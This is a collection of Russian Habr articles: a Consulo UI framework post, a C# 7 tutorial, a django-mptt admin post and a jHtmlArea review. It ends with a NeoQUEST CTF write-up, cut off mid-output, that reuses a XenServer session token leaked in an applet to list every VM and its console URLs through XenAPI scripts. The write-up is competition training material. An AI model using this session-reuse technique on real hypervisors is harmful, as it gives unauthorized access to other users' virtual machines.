![](https://habrastorage.org/webt/di/pz/kh/dipzkhwrwphaad8eddsohpoaubc.gif)
Так же паралельно я использовал Vaadin на работе, так как это один из самых дешёвых вариантов построить Web UI если использовать Java. Я все больше и больше изучал Vaadin — и я решил опять переписать WGWT на Vaadin но с некоторыми правками.
Каковы были правки:
* отказ от использования практически всех компонентов Vaadin. Причин было несколько — одна из них, это слишком ограниченные компоненты (кастомизация была минимальная).
* использования уже существующие компоненты из моего самописного фреймворка WGWT — то есть их GWT реализацию
* так же был сделать patch который позволял писать аннотации [Connect](https://habr.com/users/connect/) без прямой ссылки на серверный компонент (это было сделано больше для project structure, во избежания доступности серверных классов внутри клиент кода)
В итоге получилось вот так:
* frontend — набор интерфейсов для каждого элемента, например consulo.ui.Button#create()
* backend — текущая реализация в зависимости от платформы
+ Swing — desktop реализация
+ Vaadin — web реализация
+ Android? — ради того чтобы телефон сгорел на старте приложения :D Пока только на уровне идеи о том что можно будет использовать уже существующий код для переноса на Android (ибо не будет привязки к Swing)
И так родилась текущая использоваться Consulo UI API.
Где будет использоватся Consulo UI API?
* Во всех плагинах. AWT/Swing будет "заблочен"(никаких больше **java.awt.Color**) во время компиляции(будет сделан javac processor — позднее, возможно вообще не нужно будет с приходом java 9). Свой набор компонентов — это не панацея, это я понимаю. На текущий момент — можно сделать свой кастомный UI компонент, пока только на Swing стороне (и в таких случаях нужно будет добавлять зависимость в плагин consulo.destop во избежания проблем на веб сервере). Создания Vaadin компонентов на стороне плагинов пока нет — будет, это минорная задача.
* На стороне платформы — это Settings/Preferences, Run Configurations, Editor — по сути весь интерфейс который идет до JFrame.
Какие есть проблемы?
* Полностью не совместимость с AWT/Swing кодом (есть костыльный класс TargetAWT/TargetVaadin который имеет методы для конвертацию компонентов, но эти классы не доступы для плагинов).
Все Swing компоненты не могут быть отображены в браузере — в итоге нужно переписывать весь этот код.
Практически везде уже поддерживается Consulo UI API внутри платформы — это позволяет уже использовать новый UI фреймворк внутри плагинов и не только.
* Очень сильная привязаность IntelliJ платформы к Swing, он зарыт так глубоко — что без "очередного" костыля его не выкопать (![](https://habrastorage.org/webt/cu/in/ch/cuinchsey3paqijfjqfn8ndniag.gif)).
### Спустя некоторое время
Вот этот [**код**](https://github.com/consulo/consulo/blob/master/modules/independent/lang-impl/src/main/java/com/intellij/application/options/editor/EditorSmartKeysConfigurable.java#L70) работает одинаково на обеих платформах.
Его работа на Desktop:
![](https://habrastorage.org/r/w1560/webt/ev/ev/_5/evev_5szgc6hxumf6tljcyzvp7u.png)
Его работа в браузере:
![](https://habrastorage.org/r/w1560/webt/ba/3m/pk/ba3mpkqjv3bw90ugi8uy_c1iime.png)
По поводу вышеописанных проблем:
* Иконки. Был введен класс consulo.ui.image.Image который представляет собой картинку с файловой системы (и не только). Для загрузки картинки можно использовать метод consulo.ui.image.Image#create(java.net.URL).
На Desktop платформе — иконки грузятся как и грузились ранее, только теперь возвращаемый тип это SwingImageRef(legacy названия класса — раньше consulo.ui.image.Image назывался consulo.ui.ImageRef) — интерфейс который наследует javax.swing.Icon и consulo.ui.image.Image. Позднее этот интерфейс будет удален (его существования обусловлено упрощенной миграцией на новый тип)
На Web платформе — URL сохраняется внутри объекта, и является идентификатором для отображения в интерфейсе (через URL — /app/uiImage=*URLhashCode*)
Был введен класс ImageEffects. Он имеет внутри себя методы которые нужны для создания производных иконок. Например #grayed(Image) вернет иконку с серым фильтром, #transparent(Image) полупрозрачную иконку.
То есть — весь весь вышеописанный зоопарк был загнан в узкие рамки.
Также будет введена поддержка ручной отрисовки элементов (ну куда без этого). Метод *ImageEffects#canvas(int height, int width, Consumer painterConsumer)* вернет иконку которая будет отрисована через Canvas2D
На Desktop — будет использован wrapper поверх обычного Graphics2D из Swing
На Web — каждый вызов Canvas2D методов будет сохранен, и потом будет передан в браузер где будет использован внутренний Canvas с браузера
* Write Action in UI Thread. Ууууу. Пока решения этой проблемы нет. На текущий момент — есть прототип **Write Action in Own Thread** но пока что только на Web платформе, слишком много нужно поменять внутри платформы чтобы это "выкатить" на Desktop.
* UI был унифицирован — никакого зоопарка для простых элементов
Также появилась новая проблема — Swing диалоги блокируют выполняющий поток во время показа. В итоге в IDEA любят писать код в таком виде:
```
DialogWrapper wrapper = ...;
int value = wrapper.showAndGet();
if(value == DialogWrapper.OK) {
...
}
```
При этом в Vaadin показ диалогов — не блокирует выполняющий поток.
Во избежания путаницы с синхронным и асинхронным показом диалогов — был выбран асинхронный вариант (вышеописанный код придется переосмыслить и переделать).
### Итог
Спустя время я имеею рабочий прототип Web приложения.
![](https://habrastorage.org/webt/pu/op/wf/puopwftlitlwgca5idhdgwyvw80.gif)
Пока это прототип, который двигается к своему релизу — но это будет не быстро (увы). | https://habr.com/ru/post/414497/ | null | ru | null |
# Исследуем минорные возможности C# 7
C# 7 добавляет ряд новых возможностей и фокусирует внимание на потреблении данных, упрощении кода и производительности. Самые большие фичи были уже рассмотрены — [кортежи](https://habrahabr.ru/post/345376/), [локальные функции](https://habrahabr.ru/post/346174/), [сопоставление с образцом](https://habrahabr.ru/post/347916/) и [throw выражения](https://habrahabr.ru/post/348658/). Но есть и другие новые возможности, как большие, так и малые. Все они сочетаются, чтобы сделать код более эффективным и понятным, чтобы все были счастливы и продуктивны.
Давайте рассмотрим и остальные возможности новой версии C#. Итак! Начнем!
**Out переменные**
------------------
В настоящее время в C# использование **out параметров** не так гибко, как хотелось бы. Прежде чем вызвать метод с **out** параметрами, сначала нужно объявить переменные для передачи методу. Поскольку обычно эти переменные не инициализируются (так как они будут переписаны методом), то нельзя использовать **var** для их объявления, следовательно обязательно нужно указать полный тип:
```
public void PrintCoordinates(Point p)
{
int x, y; // have to "predeclare"
p.GetCoordinates(out x, out y);
WriteLine($"({x}, {y})");
}
```
В C# 7 вводятся **out переменные**. Они позволяют объявлять переменные прямо на месте, где они передаются как **out аргументы**:
```
public void PrintCoordinates(Point p)
{
p.GetCoordinates(out int x, out int y);
WriteLine($"({x}, {y})");
}
```
**Обратите внимание, что переменные поднимаются во внешнюю область видимости в закрывающем блоке, поэтому последующая строка может их использовать.**
Поскольку **out переменные** объявляются непосредственно в качестве аргументов **out** параметров, компилятор может вывести их тип (если нет противоречивых перегрузок), поэтому можно использовать **var** вместо типа при объявлении:
```
p.GetCoordinates(out var x, out var y);
```
Обычно **out параметры** используются в шаблонах **Try...**, где логическое возвращаемое значение указывает на успех, а параметры **out** несут полученные результаты:
```
public void PrintStars(string s)
{
if (int.TryParse(s, out var i)) { WriteLine(new string('*', i)); }
else { WriteLine("Cloudy - no stars tonight!"); }
}
```
Можно также использовать «**wildcards**» в **out** параметрах в виде **\_**, чтобы игнорировать **out** параметры, которые не нужны:
```
p.GetCoordinates(out int x, out _); // I only care about x
```
Обратите внимание, что можно опустить объявление типа при «**wildcards**».
```
string inputDate = "";
if (DateTime.TryParse(inputDate, out DateTime dt))
{
// используем dt
}
```
Встает вопрос, а что если конвертирование строки в в переменную типа **DateTime** будет неудачным, а мы все равно попытаемся воспользоваться выходным значением?
У переменной будет **значение по умолчанию**.
**Улучшения литералов**
-----------------------
C# 7 позволяет использовать символ “**\_**” в качестве разделителя цифр внутри числовых литералов:
```
var d = 123_456;
var x = 0xAB_CD_EF;
```
Можно помещать данный символ в любом месте между цифрами нужное количество раз, чтобы улучшить читаемость. Он не влияет на значение.
Разделитель разрядов можно использовать с типами **byte**, **int**, **long**, **decimal**, **float** и **double**:
```
public const long BillionsAndBillions = 100_000_000_000;
public const double AvogadroConstant = 6.022_140_857_747_474e23;
public const decimal GoldenRatio = 1.618_033_988_749_894_848_204_586_834_365_638_117_720_309_179M;
```
Кроме того, C# 7 представлены **бинарные литералы**. Теперь можно записать число в бинарном виде.
```
var b = 0b101010111100110111101111;
```
**0b** в начале константы означает, что число записано в двоичном формате.
Также можно использовать знак разделителя разрядов, что несомненно улучшит читаемость литерала.
```
var b = 0b1010_1011_1100_1101_1110_1111;
```
Разделитель разряда не может стоят в конце или в начале литерала
```
byte a = 0b_0000_0001; //INVALID: Digit separator cannot be at the start or end of the value
byte b = 0b1_0000_0001; //INVALID: 257 doesn't fit in a byte
byte c = 0b0_0000_0001; //VALID: 1 fits into a byte just fine
```
**Ref returns and locals**
--------------------------
Так же, как можно передавать параметры метода по ссылке (с модификатором **ref**), теперь также можно вернуть их по ссылке, а также сохранить их по ссылке в локальных переменных.
```
public ref int Find(int number, int[] numbers)
{
for (int i = 0; i < numbers.Length; i++)
{
if (numbers[i] == number)
{
return ref numbers[i]; // return the storage location, not the value
}
}
throw new IndexOutOfRangeException($"{nameof(number)} not found");
}
int[] array = { 1, 15, -39, 0, 7, 14, -12 };
ref int place = ref Find(7, array); // aliases 7's place in the array
place = 9; // replaces 7 with 9 in the array
WriteLine(array[4]); // prints 9
```
Это полезно для возвращения конкретных полей из больших структур данных. Например, игра может содержать свои данные в большом предварительно распределенном массиве структур (чтобы избежать пауз при сборке мусора). Теперь методы могут возвращать ссылку непосредственно на такую структуру, через которую вызывающий метод может ее читать и модифицировать.
Существуют некоторые ограничения для обеспечения безопасности:
* Вы можете возвращать только те ссылки, которые «безопасны для возврата»: только те, которые были переданы вам, и те, которые указывают на поля в объектах
* Локальные **ref** переменные инициализируются в определенном месте хранения и не могут быть изменены, чтобы указывать на другой
**Возвращаемые обобщенные типы в async методах**
------------------------------------------------
До сих пор **async** методы в C# должны либо возвращать **void**, **Task** или **Task‹T›**. C# 7 позволяет определять другие типы таким образом, чтобы их можно было возвращать из асинхронного метода. Возвращаемый тип должен по-прежнему соответствовать асинхронному шаблону, а значит, метод **GetAwaiter** должен быть доступен. Конкретный пример: в .NET Framework добавлен новый тип **ValueTask**, позволяющий использовать эту новую возможность языка
Поскольку **Task** и **Task‹T›** являются ссылочными типами, выделение памяти во влияющих на производительность сегментах (особенно при выделении памяти в ограниченных циклах) может серьезно снизить производительность. Поддержка обобщенных типов возвращаемых значений позволяет возвращать небольшой значимый тип вместо ссылочного типа, благодаря чему удается предотвратить избыточное выделение памяти.
```
class Program
{
static Random rnd;
static void Main()
{
Console.WriteLine($"You rolled {GetDiceRoll().Result}");
}
private static async ValueTask GetDiceRoll()
{
Console.WriteLine("...Shaking the dice...");
int roll1 = await Roll();
int roll2 = await Roll();
return roll1 + roll2;
}
private static async ValueTask Roll()
{
if (rnd == null)
rnd = new Random();
await Task.Delay(500);
int diceRoll = rnd.Next(1, 7);
return diceRoll;
}
}
```
**Заключение**
--------------
Используйте новые возможности языка C#, ведь они облегчают разработку, экономят время и повышают читаемость кода. Этой статьей заканчиваю цикл статей по C# 7 версии. Все интересующиеся вопросы, прошу в комментарии или в личку. Я вам обязательно отвечу. Всем спасибо! | https://habr.com/ru/post/350710/ | null | ru | null |
# Деревья в админке django
Редактировать модели, представляющие собой деревья в админке django очень неудобно и ненаглядно. Сразу возникло желание выводить вместо списка объектов дерево, для этого можно использовать замечательную библиотеку [jstree](http://jstree.com/).
Чтобы эффективно работать с деревьями в django существует [mptt](http://code.google.com/p/django-mptt/), которая добавляет в модель поля для эффективной выборки и методы для этого, а также шаблонные теги для вывода деревьев и т.п.
Если вы не используете mptt, у вас есть просто ссылка на parent — jstree можно подключить к с помощью одного javascript, про это — [отдельная статья](http://tabed.org/blog/2010/01/06/jstree-in-django-admin/).
Далее про модели, использующие mptt.
Я написал базовый класс для админок моделей, использующих mptt. Он заменяет view списка объектов на свой, который выводит дерево, добавляет ajax-запросы для перемещения ветвей в новое место, переименовывания объектов и их удаления.
Соответственно, ветви можно перетаскивать в нужное место, переименовывать, и удалять. Создание ветвей перенаправляет на view создания объекта, выставляя ссылку на родительский элемент.
В ветви дерева могут выводиться значения несколько полей. Если для пользователя недоступны какие-то действия — они будут заблокированы в jstree. Щелчок по ветви перенаправляет на view редактирования, правой кнопкой — вызывает контекстное меню.
![screenshot](http://tabed.org/static/mptt_admin2.jpg)
Чтобы воспользоваться этим, нужно установить mptt\_admin:
`hg clone http://code.tabed.org/mptt_admin/
cd mptt_admin
python setup.py install`
Вместе с mptt\_admin идет пример проекта, можно использовать его для тестирования.
Добавить в соотв. admin.py такой код:
````
from myapp.models import MyModel
from mpttadmin import MpttAdmin
class MyModelAdmin(MpttAdmin):
tree_title_field = 'name'
tree_display = ('name','slug','created|date') #name тут указывать необязательно
class Meta:
model = MyModel
````
Шаблоны зашиты в MpttAdmin, необходимые яваскрипты он умеет отдавать сам.
tree\_title\_field нужно для переименовывания, если его не указать — переименовывание будет недоступно, а выводиться будет \_\_unicode\_\_ объекта.
По аналогии с list\_display можно задать несколько полей, причем в них можно использовать фильтры, благодаря особенностям реализации(кроме tree\_title\_field). | https://habr.com/ru/post/85670/ | null | ru | null |
# Визуальный редактор jHtmlArea
Очень компактный, но в то же время довольно удобный визуальный редактор [jHtmlArea](http://jhtmlarea.codeplex.com/). По первой букве в названии можно догадаться, что используется jQuery.
Он в чем-то схож с более известным jWysiwyg. Несмотря на то что имеет меньший размер, обладает не меньшими возможностями. На мой взгляд код организован гораздо удобнее, очень легко расширяем. Также огромный плюс в том, что иконки в меню можно располагать в любом порядке.
Несмотря на то что не заявлена поддержка IE6, прекрасно в нем работает. В Opera тоже работает.
[Демонстрация](http://pietschsoft.com/demo/jHtmlArea/)
[![](https://habrastorage.org/r/w1560/getpro/habr/post_images/be3/7bf/62b/be37bf62bcd4ee9f75b004dbb7e969ac.png)](http://pietschsoft.com/demo/jHtmlArea/)
Инициализируется jHtmlArea просто:
`$("textarea.wysiwyg").htmlarea({params});`
На одной странице можно делать сколько угодно редакторов поверх
Для расширения функциональности есть очень удобный метод pasteHTML(), пример:
`$("textarea[name=html]").htmlarea({
toolbar: ["html", "bold", "italic", {
css: "smile",
text: "Вставить смайлик",
action: function (btn) {
this.pasteHTML(":-)");
}
}
]});`
Чтобы эта новая иконка (smile) появилась в тулбаре, достаточно в CSS прописать:
`div.jHtmlArea .ToolBar ul li a.smile {background: url(img/smile.png) no-repeat 0 0;}`
В параметрах можно указать какой CSS будет использоваться в редактируемом документе, очень удобно, позволит сделать так, что будем видеть точно так же, как и на сайте.
Единственный минус (для меня), это фиксированная ширина поля ввода, причем у textarea тоже, но это легко исправляется, достаточно убрать из кода изменение ширины полей ввода. Нашел еще ошибку с не обработкой событий клавиаруты и мыши у визуального редактора, заменил $(this.editor.body).click(fnTA)… на $(this.editor).click(fnTA)…
Для меня jHtmlArea стал настоящей находкой, полностью заменил им jWysiwyg. | https://habr.com/ru/post/83402/ | null | ru | null |
# Получаем доступ к облаку XenServer через доступ к одной виртуальной машине
![](https://habrastorage.org/r/w1560/files/db1/9c6/7c5/db19c67c51b04c94a548e49767217cc9.png) Совсем скоро, 11 марта, стартует online-этап ежегодного соревнования по кибербезопасности [NeoQUEST-2016](http://neoquest.ru)! В преддверии этого публикуем разбор одного из заданий «очной ставки» NeoQUEST-2015. Это задание под названием «Истина где-то рядом» было направлено на получение доступа ко всему облаку XenServer, имея доступ только лишь к одной виртуалке! Такой хак осуществим с помощью специального апплета, ранее используемого XenServer, позволяющего получить доступ по VNC к виртуальной машине.
Под катом опишем исходные данные для задания и расскажем, как можно было пройти это задание двумя способами:
* используя XenAPI
* используя Web
#### **Исходные данные**
Участники в описании задания получили IP-адрес, по которому находился сайт с большой кнопкой «Get Key». При её нажатии появлялась надпись, сообщающая, что были попытки подключения к двум серверам и попытки поиска ключа в базах данных этих серверов. Однако, как информировала та же надпись, подключиться удалось только к первому серверу, и ключ там не нашёлся…
![](https://habrastorage.org/r/w1560/files/a62/2dd/9ab/a622dd9ab65e4036bcd904f2f9003107.png)
Как видно, к серверу №1 удалось подсоединиться, и даже есть ссылка (слово «OK»). При переходе по ссылке должен запуститься апплет, но, поскольку современные браузеры плохо работают с апплетами, скорее всего, ничего не запустится.
![](https://habrastorage.org/r/w1560/files/9fb/3a5/94f/9fb3a594f68e49e6815198c81628ac4d.png)
Однако первая же ссылка в гугле говорит: «надо добавить сайт в разрешённый в настройках Java и перезапустить браузер»! Делаем…
![](https://habrastorage.org/r/w1560/files/f66/88f/918/f6688f91838c45cbaf6be95e71106e56.png)
После перезапуска браузера появляется окно «Secure Warning», в котором в поле «Publisher» написано Citrix System.
![](https://habrastorage.org/r/w1560/files/124/d19/d1f/124d19d1fab940118a2c281fa6233acf.png)
Запустив апплет, участник получал доступ к виртуальной машине. И здесь он должен был понять, что ему дают доступ к виртуальной машине, которая работает на базе продукта Citrix. Загуглив, какие бывают продукты у Citrix, можно предположить, что это XenServer. А чтобы быть до конца в этом уверенным, можно посмотреть на иконку сайта и там увидеть логотип XenServer.
![](https://habrastorage.org/r/w1560/files/175/bb7/17a/175bb717a4fe4f31be5c861f6d1e961f.png)
На рабочем столе есть ярлык браузера Chrome, запустив который и открыв историю, можно найти обращение к «localhost/phpmyadmin». Перейдя по этому адресу, можно увидеть базу данных neoquest, в которой есть таблица key, но нет записей…
![](https://habrastorage.org/r/w1560/files/348/8e2/a37/3488e2a373b24c79a4fd7087c5479274.png)
Виртуалка была одна на всех, и участники активно сражались за нее, отнимая друг у друга управление курсором мыши и мешая своим соперникам просматривать записи в базе данных!
Дальнейшие поиски ключа на этой виртуальной машине бесполезны, попытки найти ещё одну виртуальную машину в сети тоже не дадут результата (у второй виртуальной машины нет сетевого адаптера).
Посмотрев исходный код страницы с апплетом, находим код, отвечающий за его запуск:
```
```
В запуске апплета для участника интересны два параметра: SESSION и URL. Из URL видно, что есть ещё один IP-адрес – 10.0.20.61. Заходим на этот IP в браузере и видим: «Citrix Systems, Inc. XenServer 6.2.0», что окончательно убеждает нас, что виртуалка работает на XenServer!
Теперь начинаем искать вторую виртуальную машину. Логично исходить из предположения, что доступ к ней осуществляется также через апплет, через параметр URL, а именно, через значение UUID. Поэтому для дальнейших экспериментов необходимо запустить апплет у себя. Самый простой способ для этого — сохранить html-страницу с апплетом (апплет надо скачать отдельно) и запустить у себя на веб-сервере.
Есть два способа получить значение UUID: через XenAPI или выполнить запрос к серверу через браузер. Рассмотрим оба эти способа по порядку.
#### **Способ №1: используем XenAPI**
Это было запланированное решение задания. Код будем писать на Python, для этого качаем SDK для XenServer и оттуда берём XenApi.py.
Нам необходимо получить список всех виртуальных машин, находящихся на сервере, а для них — список их консолей.
Загуглив, как получить список виртуальных машин, можно найти следующий код:
```
session = XenAPI.Session(xen_url)
session.xenapi.login_with_password(xen_user, xen_pass)
vms = session.xenapi.VM.get_all()
print vms
```
Где xen\_url — адрес сервера, в нашем случае «https://10.0.20.61», xen\_user и xen\_pass для нас недоступны, но у нас уже имеется значение установленной сессии. Можно попробовать вместо session.xenapi.VM.get\_all() передать значение установленной сессии напрямую в метод в следующем виде: session.VM.get\_all(ses). Тогда скрипт получения списка виртуальных машин будет иметь следующий вид:
```
import XenAPI
xen_url = "https://10.0.20.61"
session = XenAPI.Session(xen_url)
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
vms = session.VM.get_all(ses)
print vms
```
**Результат выполнения этого скрипта будет выглядеть так:**
```
{'Status': 'Success', 'Value': ['OpaqueRef:fed67a7d-74c2-3eeb-6a0d-e17348b5d68c', 'OpaqueRef:fdafee99-e69d-d6a8-6988-402bbac14215', 'OpaqueRef:fa649f83-3566-5734-9a25-fa236f6902af', 'OpaqueRef:f899e08e-7abc-032b-c098-f99ae5b4034a', 'OpaqueRef:f437e8ad-2e3c-edc5-81ae-207ac6c12079', 'OpaqueRef:ef635a0a-209f-469f-1ab8-c014ecf4b7a5', 'OpaqueRef:ef31abb6-cd3e-2f12-bf94-3041b53a1a36', 'OpaqueRef:ef129c0c-3dfc-9ead-d447-4c729a6d9b47', 'OpaqueRef:ed097922-b78c-a4e6-aa9a-1cf47cc9c499', 'OpaqueRef:ea183995-6c42-1cf2-6775-9a3a66493a4e', 'OpaqueRef:e894f069-7386-5327-ec44-33c83de477e7', 'OpaqueRef:e869d8d3-0238-253b-675c-8f04efa2db1d', 'OpaqueRef:e8135b8d-2564-2f48-0235-c1c6d4f539f0', 'OpaqueRef:e29608d0-802c-8920-a218-31907a28e2b5', 'OpaqueRef:df6a1b82-5642-cd9f-9272-39118d9e565f', 'OpaqueRef:dbeee2e5-7745-a1ba-49e6-de4b3a5b518f', 'OpaqueRef:da163722-77cf-88a1-76ef-a87fbb9a789f', 'OpaqueRef:d6f55333-028d-8e1c-efcc-d2a05a9a53c1', 'OpaqueRef:d32bc06b-74ea-8250-3314-1a9c42338b3b', 'OpaqueRef:ce95e498-5a6a-9076-785d-181843739e18', 'OpaqueRef:cb0498ee-a7ef-87e8-c292-488ff9b182c8', 'OpaqueRef:c8256666-2535-6f3e-3575-72ce28bf7943', 'OpaqueRef:c20d68a4-043f-6cd1-6465-170e61253ee0', 'OpaqueRef:bdceecb8-a079-0846-7fa1-a31cf9520b50', 'OpaqueRef:bcb3d8b8-f09c-edad-4cb8-82072121a57d', 'OpaqueRef:b7189aab-cf4e-ed42-a418-292c9d180614', 'OpaqueRef:b5d37caf-43bb-20eb-edde-9ecda9a90bbb', 'OpaqueRef:ae066542-4503-0d71-2303-95bdbb659944', 'OpaqueRef:a29c957f-4cb8-c085-65bb-5338022aeee5', 'OpaqueRef:9b14ce06-d7b3-57c5-88ce-89784b198dd8', 'OpaqueRef:914316c7-d608-e7d0-b230-f57282bcf16c', 'OpaqueRef:8efe10a7-668b-bc25-ce23-30a9a25232ee', 'OpaqueRef:8df82c5d-e207-6f92-bac2-1320912d39a8', 'OpaqueRef:8a2c1418-6136-dadb-a027-79be66ed5cd6', 'OpaqueRef:88fae098-d089-2d9d-972d-f133c6f03e2f', 'OpaqueRef:83287204-9e5d-660d-8793-571c629d081c', 'OpaqueRef:81d6cf4e-359f-70d0-e325-b8be22336443', 'OpaqueRef:7e2f80af-8251-72d9-0d7f-77aea039a4d7', 'OpaqueRef:79c5b589-7dfa-ffb8-28d8-bcb076d16118', 'OpaqueRef:79b8f10e-681b-f5f1-49fc-4fab533eb29b', 'OpaqueRef:745a3e34-93eb-e63a-f2e0-dffa998c5c55', 'OpaqueRef:6e3f4400-847d-ee72-bd00-5d20e30aa885', 'OpaqueRef:6bc1c54a-5e3c-f201-0d6c-1c41eee98b94', 'OpaqueRef:6b446900-6a4f-0ec1-7725-aa5419b029ad', 'OpaqueRef:64072816-6999-7d73-bfd9-3a854447fcdd', 'OpaqueRef:60f71cfd-92d0-aeaf-85be-4480eef18f7a', 'OpaqueRef:608662aa-18cc-caff-b04e-52b095975940', 'OpaqueRef:605bca5f-40b7-c970-7d00-99b3159854bf', 'OpaqueRef:54b2ab62-9c68-9fb0-e130-cc20c1d72df8', 'OpaqueRef:4f99e67d-aac8-eb83-c0d0-b8cecb2196df', 'OpaqueRef:48e705dd-44b1-0261-095a-30dd175b7ec5', 'OpaqueRef:429bdf24-7e41-76c6-7566-3bb5bcda6efa', 'OpaqueRef:3dfdb9b9-13d3-d5d2-86c1-0ac03d8bd835', 'OpaqueRef:3d7462c7-cea0-b3cd-8adb-62cc93ff7ae9', 'OpaqueRef:3cd87b61-0232-ad9b-48ac-43d8900e0cc5', 'OpaqueRef:37d8fdda-e7e1-9376-85ac-e067e4db44b0', 'OpaqueRef:35d6d056-dabe-b731-9264-e7c5a55531af', 'OpaqueRef:34ac3f38-2329-e069-a3db-14954c0d1ba7', 'OpaqueRef:31db143b-0e37-4a7b-5d3e-11d200691be4', 'OpaqueRef:31148d7b-64ee-0d5d-8992-53a53c0d796e', 'OpaqueRef:3062dc3a-4298-bf2d-6190-17e5c8287c9a', 'OpaqueRef:2a825824-253a-d6d9-a6a8-f8ee05b772c9', 'OpaqueRef:271ca619-f84c-71c2-6db8-8d0def4ca9e3', 'OpaqueRef:25fd4564-5107-78e0-4229-bbb9c1138b12', 'OpaqueRef:23c62832-a906-df73-fed8-eda112419160', 'OpaqueRef:1ef59c47-e9f1-87ad-83b7-de67e35e3d7f', 'OpaqueRef:1d027e36-2364-e5af-5144-49e6243fac94', 'OpaqueRef:107d38cd-be64-9894-73bc-534e435747f5', 'OpaqueRef:0d365a10-d9c3-c4b0-e2e4-51503736b4d5', 'OpaqueRef:06ec3fcb-6951-1fb4-a6b5-d48d0a51cd2c']}
```
Результат получился достаточно большим, и это не список виртуальных машин, а ссылки на них, поэтому логичнее продолжить написание скрипта, так, чтобы получить консоли. Для этого используем стандартную функцию API VM.get\_consoles, в итоге получившийся скрипт имеет вид:
```
import XenAPI
xen_url = "https://10.0.20.61"
session = XenAPI.Session(xen_url)
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
vms = session.VM.get_all(ses)
for vm in vms['Value']:
console = session.VM.get_consoles(ses,vm)
print console
```
**Результат выполнения скрипта:**
```
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:f655d6a7-453f-7b4c-ad89-ccc438a8b5a0']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:fa451706-1715-1688-a440-e63d18b7b55a', 'OpaqueRef:70f202f8-ef56-275e-c17d-f7ff214a49f9']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': ['OpaqueRef:9a08367f-3740-a192-ff49-2bc151a485ce']}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
{'Status': 'Success', 'Value': []}
```
Результат опять достаточно большой, но большинство значений пустые, и, как в прошлый раз, это не сами консоли, а ссылки для них. Также есть виртуальные машины, где две ссылки для консоли. Для преобразования ссылки в значение, пригодное для апплета, используется функция console.get\_location. Тогда скрипт имеет вид:
```
import XenAPI
xen_url = "https://10.0.20.61"
ses = "OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971"
session = XenAPI.Session(xen_url)
vms = session.VM.get_all(ses)
for vm in vms['Value']:
console = session.VM.get_consoles(ses,vm)
for con in console['Value']:
url = session.console.get_location(ses,con)
print url
```
Результатом работы скрипта будет:
```
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=9b7965ed-002b-5d52-4bd6-380556aa2219'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=1a9df134-6e10-22a5-6f99-2d1df8f2fc58'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=68d03d5d-d9cd-0b91-c61f-213f3a572582'}
{'Status': 'Success', 'Value': 'https://10.0.20.61/console?uuid=b1c1a188-26bf-e5c8-a5ed-7545f17f492b'}
```
Последние значение — такое же, как в поле URL, что подсказывает, что мы на правильном пути! Осталось проверить только 3 решения.
##### **Способ №2: через Web**
Второе решение гораздо проще и целиком основано на веб. Если загуглить «Xenserver OpaqueRef», то можно наткнуться на описание получения метрик производительности для Xenserver через RRD. Для получение части этих метрик необходимо знать только IP-адрес сервера и OpaqueRef. Так для получения всех метрик виртуальной машины надо знать UUID виртуальной машины «http:///vm\_rrd?session\_id=OpaqueRef:&uuid=», но для получения обновлений для всех виртуальных машин достаточно знать только OpaqueRef. Его мы получаем запросом «http:///rrd\_updates?session\_id=OpaqueRef:&start=10258122541». В нашем случае запрос будет иметь вид: «http://10.0.20.61/rrd\_updates?session\_id=OpaqueRef:427a76b3-2d50-89bb-28e6-eb9e51c66971&start=10258122541». **В результате в браузере отобразится следующая xml:**
```
10258122545
5
1436505840
0
26
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu3
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu2
AVERAGE:vm:4ac6b5b5-fb19-4874-b87a-c0da37f807cf:cpu1
